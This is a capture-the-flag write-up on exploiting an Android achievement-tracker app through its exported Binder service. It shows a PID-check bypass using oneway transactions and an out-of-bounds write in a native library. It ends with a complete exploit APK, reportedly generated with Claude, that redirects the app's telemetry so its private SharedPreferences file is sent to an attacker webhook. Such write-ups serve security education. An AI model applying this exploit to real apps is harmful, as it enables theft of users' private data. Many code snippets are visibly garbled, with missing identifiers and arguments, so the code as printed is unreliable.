Peaky Binders
In this challenge we are given a Peaky Binders APK. The attacker can supply an APK that is executed on the same phone as the Peaky Binders APK.
Opening the apk with jadx a package named com.peaky.binders is the main focus of the investigation.
The package consists of following files:
peaky.binders
├── AchievementAdapter.java
├── Achievement.java
├── C0842R.java
├── IPeakyService.java
├── MainActivity$$ExternalSyntheticLambda0.java
├── MainActivity$$ExternalSyntheticLambda1.java
├── MainActivity$$ExternalSyntheticLambda2.java
├── MainActivity.java
├── PeakyService.java
└── WhiskeyTastingActivity.javaTriage
The app seems to be used as an Achievement Tracker:
- Join the Shelby Family -> Enter your name to unlock
- A true regular of the Garrison -> Visit the Garrison often
- You've gained admin privileges -> Find the secret command
The first two achievements are trivial. For the first you have to enter a name containing shelby. The second requires to press a button twenty times.
The PeakyService is an exported Android Service that exposes a custom Binder interface. Through this interface, it allows external processes interact with three specific methods: DebugCheckFile, isAchievmentUnlocked and enableDebugMode.
The function DebugCheckFile unlocks the third achievement. This has to be the secret command.
public void DebugCheckFile(byte[]) throws RemoteException {
int callingPid = Binder.getCallingPid();
if (callingPid != 0) {
Log.d("PeakyService", "We allow a root process only: " + callingPid);
PeakyService.this.logToFile("DebugCheckFile called - rejected, PID: " + callingPid);
return;
}
Log.d("PeakyService", "Called from a root process: " + callingPid);
PeakyService.this.logToFile("DebugCheckFile called from root process - PID: " + callingPid);
//[28 lines of Code removed for clarity]
Intent intent = new Intent(PeakyService.ACTION_ACHIEVEMENT_UNLOCKED);
intent.putExtra(PeakyService.EXTRA_ACHIEVEMENT_INDEX, 2);
PeakyService.this.sendBroadcast(intent);
}Bypass the root requirement
To unlock the third achievement we have to call the method from a process with PID = 0.
Usually having a PID of 0 is not possible for normal user space processes.
Thankfully the Android API helps us out.
The Android API reference for Binder.getCallingPid states the following:
Warning do not use this as a security identifier! PID is unreliable as it may be re-used. This should mostly be used for debugging. oneway transactions do not receive PID. Even if you expect a transaction to be synchronous, a misbehaving client could send it as a asynchronous call and result in a 0 PID here.
The wrongful usage of Binder.getCallingPid as an authorization mechanism makes the PID check trivial to pass.
private void sendOnewayTransaction(byte[]) throws RemoteException {
Parcel data = Parcel.obtain();
data.writeInterfaceToken(TOKEN);
data.writeByteArray(payload);
// 1 = IBinder.FLAG_ONEWAY (Bypasses the PID 0 check)
peakyBinder.transact(TRANSACTION, data, null, 1);
data.recycle();
}
Wuhu we got the third achievement! I hoped that the flag is then somehow shown on the screen but this was not the case.
Further analysis
I left out 28 lines of code from DebugCheckFile earlier:
String str = new String();
PeakyService.this.logToFile("Caller name: ".concat(str));
String[] strArrRetrieveLog = PeakyService.this.RetrieveLog(str);
if (strArrRetrieveLog != null && strArrRetrieveLog.length == 2) {
final String serverUrl = strArrRetrieveLog[0];
final String log_content = strArrRetrieveLog[1];
Log.d("PeakyService", "DEBUG serverUrl: " + serverUrl);
Log.d("PeakyService", "DEBUG logContent length: " + log_content.length());
PeakyService.this.logToFile("DEBUG serverUrl: " + serverUrl);
new Thread(new Runnable() { // from class: com.peaky.binders.PeakyService.1.1
@Override // java.lang.Runnable
public void run() {
try {
HttpURLConnection httpURLConnection = () new URL(+ "/logs/").openConnection();
httpURLConnection.setRequestMethod("POST");
httpURLConnection.setDoOutput(true);
httpURLConnection.setRequestProperty("Content-Type", "text/plain");
OutputStream outputStream = httpURLConnection.getOutputStream();
outputStream.write(log_content.getBytes());
outputStream.flush();
outputStream.close();
Log.d("PeakyService", "HTTP Response: " + httpURLConnection.getResponseCode());
httpURLConnection.disconnect();
} catch (Exception e) {
Log.e("PeakyService", "Failed to send logs: " + e.getMessage());
}
}
}).start();
}
DebugCheckFile sends logs to some server. The log content and the server URL come from RetrieveLog. This seems to be some functionality for debugging or telemetry purposes.
Weaponizing telemetry
RetrieveLog is not in the Java code. It is defined in a separate compiled Binary named libpeaky.so.
static {
System.loadLibrary("peaky");
debugMode = false;
}
public native String[] RetrieveLog(String);
Using IDA I found out that the Java string that is passed to the function is consumed by sscanf(callerNameCStr, "%15[^:]:%d:%c", callerTag, &partialOffset, &separatorChar).
By examining the callerTag comparisons in the decompiled source, I identified two valid commands: FULL and PARTIAL.
Both commands are nearly identical: each opens a file, reads its final 2048 bytes into a buffer, and returns that buffer along with a URL. The URL serves as the target to which the buffer's contents are sent as we have already seen.
The only difference is that the PARTIAL command additionally writes separatorChar into the buffer at partialOffset before returning.
This is the logic for writing the separator into the buffer:
if ( *(_QWORD *)callerTag == 'LAITRAP' ) // If PARTIAL set separator
{
=;
if>= 2049 )
{
__android_log_print(3, "PeakyNative", "Offset is larger than buffer size");
= 2048;
}
= (unsigned int)(2048 -;
__android_log_print(
3,
"PeakyNative",
"DEBUG writing separator '%c' at content[%d]",
(unsigned int),
2048 -);
g_fileBuffer =;
}
The vulnerability lies in the fact that both clampedOffset and partialOffset are signed integers. The upper bound check partialOffset >= 2049 correctly rejects values that are too large, but there is no lower bound check. Negative values pass through unconstrained. When calmpedOffset is negative the subtraction wraps upwards.
2048 - (-1) = 2049
g_fileBuffer[2049] is one byte past the end of the buffer, which lands exactly on g_serverUrl[0]. More generally, to write to g_serverUrl[i] we need separatorPos = 2049 + i
2048 - clampedOffset = 2049 + i
clampedOffset = -(1 + i)
This gives an attacker byte-by-byte control over g_serverUrl. The same technique applies to g_logFilePath, which sits 65 bytes past the end of the buffer.
The relevant memory layout in .data is:
g_fileBuffer @ 0x39D8 (2049 bytes, ends at 0x41D8)
g_serverUrl @ 0x41D9 (64 bytes)
g_logFilePath @ 0x4219 (64 bytes)
By overwriting g_serverUrl to an attacker-controlled server and g_logFilePath to any file on the device an attacker can read any arbitrary file and exfiltrate data to any URL.
Flag location
We still need to find the Flag. At this point I remembered that the achievements are loaded on start from a file. This indicates that the app as some form of context or environment variables.
private SharedPreferences prefs;
private static final String PREFS_NAME = "PeakyPrefs";
protected void onCreate(Bundle) {
...
this.prefs = getSharedPreferences(, 0);
...
loadProgress();
}
private void loadProgress() {
this.whiskeyClicks = this.prefs.getInt(KEY_WHISKEY_CLICKS, 0);
if (this.prefs.getBoolean(KEY_ACHIEVEMENT_1, false)) {
this.achievements.get(0).setUnlocked(true);
}
if (this.prefs.getBoolean(KEY_ACHIEVEMENT_2, false)) {
this.achievements.get(1).setUnlocked(true);
}
if (this.prefs.getBoolean(KEY_ACHIEVEMENT_3, false)) {
this.achievements.get(2).setUnlocked(true);
}
this.adapter.notifyDataSetChanged();
}
I asked Claude where these SharedPreferences are stored.
It told me that the standard path is /data/data/<package_name>/shared_prefs/<PREFS_NAME>.xml.
Writing the Exploit
This challenge is special to me because we are not given a url with a port by the organizers to attack but a portal where we can upload APKs. As I never wrote an APK before and had no Idea how to handle IPC on Android I generated the following exploit with Claude. It feels a bit filthy but trying to first blood the challenge made me rush.
In summary the malicious APK overwrites the webhook URL and the filepath byte per byte and triggers a full read at the end.
To circumvent the PID == 0 check the sendOnewayTransaction function from above is used.
package com.hacker.exploit;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.os.Bundle;
import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteException;
import android.util.Log;
public class MainActivity extends Activity {
private static final String TAG = "Exploit";
private IBinder peakyBinder;
private static final String WEBHOOK_URL = "<WEBHOOK_URL>";
private static final String TARGET = "/data/data/com.peaky.binders/shared_prefs/PeakyPrefs.xml";
private ServiceConnection connection = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
Log.d(TAG, "Connected to PeakyService!");
peakyBinder = service;
new Thread(() -> runExploit()).start();
}
@Override
public void onServiceDisconnected(ComponentName name) {
Log.d(TAG, "Disconnected!");
}
};
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Log.d(TAG, "Starting exploit app");
Intent intent = new Intent();
intent.setClassName("com.peaky.binders", "com.peaky.binders.PeakyService");
bindService(,, Context.BIND_AUTO_CREATE);
}
private void runExploit() {
try {
Log.d(TAG, "Overwriting Webhook URL");
for (int i = 0; i < WEBHOOK_URL.length(); i++) {
sendOnewayTransaction(("PARTIAL:" + (-(1 +)) + ":" + WEBHOOK_URL.charAt()).getBytes());
Thread.sleep(50);
}
// separatorChar defaults to 0x00
sendOnewayTransaction(("PARTIAL:" + (-(1 + WEBHOOK_URL.length())) + ":").getBytes());
for (int i = 0; i < TARGET.length(); i++) {
sendOnewayTransaction(("PARTIAL:" + (-(65 +)) + ":" + TARGET.charAt()).getBytes());
Thread.sleep(50);
}
Log.d(TAG, "Exploit sent! Check your webhook.");
} catch (Exception e) {
Log.e(TAG, "Exploit failed", e);
}
}
private void sendOnewayTransaction(byte[] payload) throws RemoteException {
Parcel data = Parcel.obtain();
data.writeInterfaceToken("com.peaky.binders.IPeakyService");
data.writeByteArray(payload);
// 1 = TRANSACTION_DebugCheckFile
// 1 = IBinder.FLAG_ONEWAY (Bypasses the PID 0 check!)
peakyBinder.transact(1, data, null, 1);
data.recycle();
}
}
Conclusion
I am happy that the flag was indeed stored at /data/data/com.peaky.binders/shared_prefs/PeakyPrefs.xml. At the time I had no further ideas where the flag could be hidden.
This challenge was a lot of fun and showed once again how important it is to use APIs only for their intended purpose especially when they are used to implement a security measure.